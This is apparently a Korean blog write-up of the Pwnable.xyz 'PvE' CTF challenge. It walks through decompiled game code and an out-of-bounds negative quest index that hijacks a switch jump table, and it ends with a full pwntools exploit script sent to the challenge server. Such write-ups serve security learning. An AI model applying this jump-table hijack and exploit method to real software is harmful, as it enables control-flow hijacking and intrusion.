tmxklab
[Pwnable.xyz] PvE 본문
1. 문제
nc svc.pwnable.xyz 30042
1) mitigation 확인
2) 문제 확인
- name, race, class를 설정한 뒤 PvP 또는 Question을 진행한다.
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setup(argc, argv, envp);
init_game();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
if ( !hero )
create_char();
print_char();
print_menu();
v3 = read_int();
if ( v3 != 1 )
break;
pvp();
}
if ( v3 != 2 )
break;
pve();
}
if ( !v3 )
break;
puts("Invalid");
}
free(hero);
return 0;
}
- init_game()을 호출하여 게임에 대한 세팅을 하고 while루프가 시작된다.
- hero가 존재하지 않으면 create_char()를 호출
- 메뉴 1 → pvp(), 메뉴 2 → pve()
3-2) create_char()
void *create_char()
{
_DWORD *v0; // rbx
void *result; // rax
hero = malloc(0x40uLL);
printf("Name: ");
read(0, hero, 0x10uLL);
printf("Race: ");
read(0, (char *)hero + 16, 0x10uLL);
printf("Class: ");
read(0, (char *)hero + 48, 0x19uLL);
v0 = hero;
v0[10] = rand() % 100;
result = hero;
*((_DWORD *)hero + 11) = 1;
return result;
}
- hero(전역변수) = malloc(0x40)
- name → read(0, hero, 0x10)
- race → read(0, hero+16, 0x10)
- class → read(0, hero+48, 0x19)
- hero[10] = rand()%100 (0 ~ 100까지 난수)
- *(hero + 11) = 1
3-3) pvp()
unsigned __int64 pvp()
{
_DWORD *v0; // rbx
unsigned int v2; // [rsp+Ch] [rbp-64h]
unsigned int v3; // [rsp+Ch] [rbp-64h]
char v4; // [rsp+10h] [rbp-60h]
int v5; // [rsp+38h] [rbp-38h]
unsigned __int64 v6; // [rsp+58h] [rbp-18h]
v6 = __readfsqword(0x28u);
memset(&v4, 0, 0x40uLL);
strcpy(&v4, "Player Unknown");
v5 = rand() % 100;
do
{
v2 = rand() % 10;
printf("%s deals %d dmg on %s\n", &v4, v2, hero);
*((_DWORD *)hero + 10) -= v2;
if ( !*((_DWORD *)hero + 10) || *((_DWORD *)hero + 10) < 0 )
{
printf(&byte_401648, hero);
free(hero);
hero = 0LL;
return __readfsqword(0x28u) ^ v6;
}
v3 = rand() % 10 * *((_DWORD *)hero + 11);
printf("%s deals %d dmg on %s\n", hero, v3, &v4);
v5 -= v3;
}
while ( v5 && v5 >= 0 );
printf(&byte_401648, &v4);
++*((_DWORD *)hero + 11);
v0 = hero;
v0[10] = rand() % 100;
return __readfsqword(0x28u) ^ v6;
}
- player unknown과 hero간에 서로 랜덤한 값으로 데미지를 입혀서 싸움
- hero가 지면 hero를 free하고 널 바이트를 넣는다.
- player unknown과 이기면(v5가 0보다 작으면) while루프를 빠져 나간다.
- ++ *(hero + 11), hero[10] = rand() % 100
- 데미지는 랜덤한 값으로 서로 HP를 깎는다.
- unknown → hero : rand() % 10
- hero → unknown : rand() % 10 * (hero레벨), 즉 hero의 레벨이 높을수록 유리
3-4) pve()
__int64 pve()
{
_QWORD *v0; // rbx
__int64 pick; // [rsp+8h] [rbp-18h]
if ( *((_DWORD *)hero + 11) <= 5 )
{
v0 = hero;
v0[4] = (char *)&quests + 196 * (rand() % 4);
}
else
{
print_quests();
printf("Pick a quest: ");
pick = read_int();
if ( pick <= 3 )
*((_QWORD *)hero + 4) = (char *)&quests + 196 * pick;
}
return play_quest(*((_QWORD *)hero + 4));
}
- hero레벨이 5보다 작거나 같은 경우
- hero[4] = quests + 196 * (rand() % 4)
- hero레벨이 5보다 큰 경우
- pick = read_int(); if(pick <=3 )
- *(hero + 4) = &quests + 196 * pick
- 이후에 *(hero+4)를 파라미터로 play_quest()를 호출한다.
- 즉, 레벨이 못미치면 랜덤한 값으로 선택해서 퀘스트를 진행하고 레벨이 되면은 선택해서 퀘스트를 진행할 수 있음
3-5) play_quest()
int __fastcall play_quest(__int64 a1)
{
int result; // eax
signed int v2; // ebx
signed int v3; // ebx
result = *(_DWORD *)(a1 + 192);
while ( 2 )
{
switch ( result )
{
case 0:
printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
answer[0] = rand();
printf("Quest: %s\n", answer);
answer[0] ^= read_int();
result = answer[0];
if ( !answer[0] )
{
result = (int)hero;
++*((_DWORD *)hero + 11);
}
break;
case 1:
printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
answer[0] = rand();
printf("Quest: %s\n", answer);
sprintf(s1, "%d", answer[0]);
read(0, s2, 0x10uLL);
result = strcmp(s1, s2);
if ( !result )
{
result = (int)hero;
++*((_DWORD *)hero + 11);
}
break;
case 2:
printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
answer[0] = rand();
printf("Quest: %s\n", answer);
answer[0] += read_int();
result = answer[0];
if ( !answer[0] )
{
result = (int)hero;
++*((_DWORD *)hero + 11);
}
break;
case 3:
printf("%s\n\t%s\n", *((_QWORD *)hero + 4), *((_QWORD *)hero + 4) + 64LL);
answer[0] = rand();
printf("Quest: %s\n", answer);
v2 = answer[0];
v3 = v2 >> read_int();
result = v3 & 1;
if ( !(v3 & 1) )
{
result = (int)hero;
++*((_DWORD *)hero + 11);
}
break;
case 4:
case 5:
return result;
default:
continue;
}
break;
}
return result;
}
- case 0 : rand()값을 받은 answer[0]와 입력 값과 xor연산을 진행한 후 0이되면 result에 hero값을 넣고 레벨업한다.
- case 1 : rand()값을 받은 s1과 입력 값 s2와 문자열 비교한 후 동일하면 result에 hero값을 넣고 레벨 업한다.
- read(0, s2, 0x10)이 중요함
- case 2 : rand()값을 받은 answer[0]와 입력 값을 더한 값이 0이면 result에 hero값을 넣고 레벨업 한다.
- case 3 : v3(answer[0] >> read_int())와 1이랑 and연산을 진행한 값을 result에 저장, 이후에 다시 v3와 1이랑 and연산을 진행한 후 0이면 result에 hero값을 넣고 레벨 업한다.
2. 접근방법
1) hero 및 quests 구조 확인
1-1) hero
1-2) quests
2) pve() 취약점 -> OOB
else
{
print_quests();
printf("Pick a quest: ");
v2 = read_int();
if ( v2 <= 3 )
*((_QWORD *)hero + 4) = (char *)&quests + 0xC4 * v2;
}
return play_quest(*((_QWORD *)hero + 4));
}
v2를 입력으로 받아서 v2가 3보다 작거나 같은 경우 hero청크에 quests주소를 넣는다. v2의 자료형은 __int64, singned이므로 음수 값을 넣어도 if문에 만족하다. → OOB
그리고 play_quest()의 파라미터로 *(hero+4)가 들어간다.
3) play_quest()
switch case문에서 jmp rax를 하는 것을 확인할 수 있다. 그러면 rax값이 어떻게 세팅되는지 디버깅을 통해서 자세히 살펴보자
- rdi에는 play_quest()의 파라미터로 들어간 *(hero+4)의 값 즉, hero청크에 들어있는 quests 주소 값이 들어있다.
- mov eax, DWORD PTR [rax+0xc0]까지 실행되면 " eax = [ 0x602364 + 0xc0 ] " 로 세팅된다.
즉, eax에는 hero의 quests주소 값으로부터 0xc0떨어진 index값이 세팅된다.
이후에 실행되는 인스트럭션이다.
rax값까지 간략히 요약하면 다음과 같다.
rdx = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]
rax = 0x401674
rax = rax + rdx = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ] + 0x401674
이제 저 부분을 이용해서 rax에 win()주소가 되기 위해서는
win addr : 0x400a8c
rax = 0x400a8c = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ] + 0x401674
= 0x400a8c - 0x401674 = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]
= 0xffff ffff ffff f418 = [ (*(hero+4) + 0xc0) * 4 + 0x401674 ]
즉, (*(hero+4) + 0xc0) * 4 + 0x401674 주소에 0xffff f418이 존재해야 한다.
(참고로, play_quest()+49부분을 보면 mov eax, [rdx + rax*1]이므로 4byte만 가져오므로 0xffff f418(4byte)가 있어야 한다.)
그럼 특정 주소에 0xfff f418값을 쓰기 위해서 play_quests()의 case 1에서 read(0, s2, 0x10)을 이용하여 s2에 값을 넣고 나중에 s2를 가리키도록 하면 된다.
- s2+4(0x6025e0+4) = 0xffff f418
다시 돌아와서 (*(hero+4) + 0xc0) * 4 + 0x401674 주소가 0x6025e4이 되도록 해야 한다. (왜냐하면 s2에 값을 작성햇으므로)
(*(hero+4) + 0xc0) * 4 + 0x401674 = 0x6025e4
(*(hero+4) + 0xc0) * 4 = 0x6025e4 - 0x401674 = 0x200f70
*(hero+4) + 0xc0 = 0x200f6c / 4 = 0x803dc
여기까지 정리해보면 s2에는 다음과 같이 세팅되어야 한다.
즉, 0x6025e0을 quests의 index라고 하면 quests + 0xc0위치에 0x6025e0이 되어야 하는 것이다.
그럼 마지막으로 v2에 어떤 값이 와야 하는지 살펴보면
*(hero + 4) = &quests(0x6022a0) + 0xc4 * v2 = 0x6025e0 - 0xc0
0xc4 * v2 = 0x602520 - 0x6022a0
0xc4 * v2 = 0x280
하지만 여기서 문제가 발생한다.
v2가 3보다 작거나 같아야 하므로 위 식을 풀면은 v2는 3보다 큰 양수가 나오므로 진행할 수 가 없다.
해결 방법)
0x1 0000 0000 0000 0000 = 0x0이라는 점을 이용
0xc4 * v2 - 0x280 = 0x1 0000 0000 0000 000
참고 : https://wogh8732.tistory.com/238
0xc4 * v2 = 0x1 0000 0000 0000 0280
v2 = 0x1 0000 0000 0000 0280
0 = 0x1 0000 0000 0000 0280 / v2
여기서 좌항이 0이 나오도록 v2의 값을 찾아야 한다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30042)
while True :
data = p.recv(timeout=1)
if 'Level: 6' in data :
break
p.send(str(1))
# payload(8bytes)
payload = p32((0x6025E4-0x401674) // 4) # s2 (quests->index)
payload += p32((0x400A8c-0x401674) & 0xFFFFFFFF) # s2 + 4 (win() -0x401674)
#gdb.attach(p)
# 1. Input payload at s2
p.send(str(2))
p.sendafter('quest: ', str(1))
p.sendafter('Quest: ', payload)
# 2. v2 -> oob
p.sendafter('> ', str(2))
p.sendafter('quest: ', '-0x21f58d0fac687d60\x00')
p.interactive()
익스코드 작성은 mineta님이 작성한 코드를 분석하면서 따라 썼다...
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] fishing (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] knum (0) | 2020.09.09 |
[Pwnable.xyz] note v3 (0) | 2020.09.09 |
[Pwnable.xyz] door (0) | 2020.09.09 |
[Pwnable.xyz] child (0) | 2020.09.09 |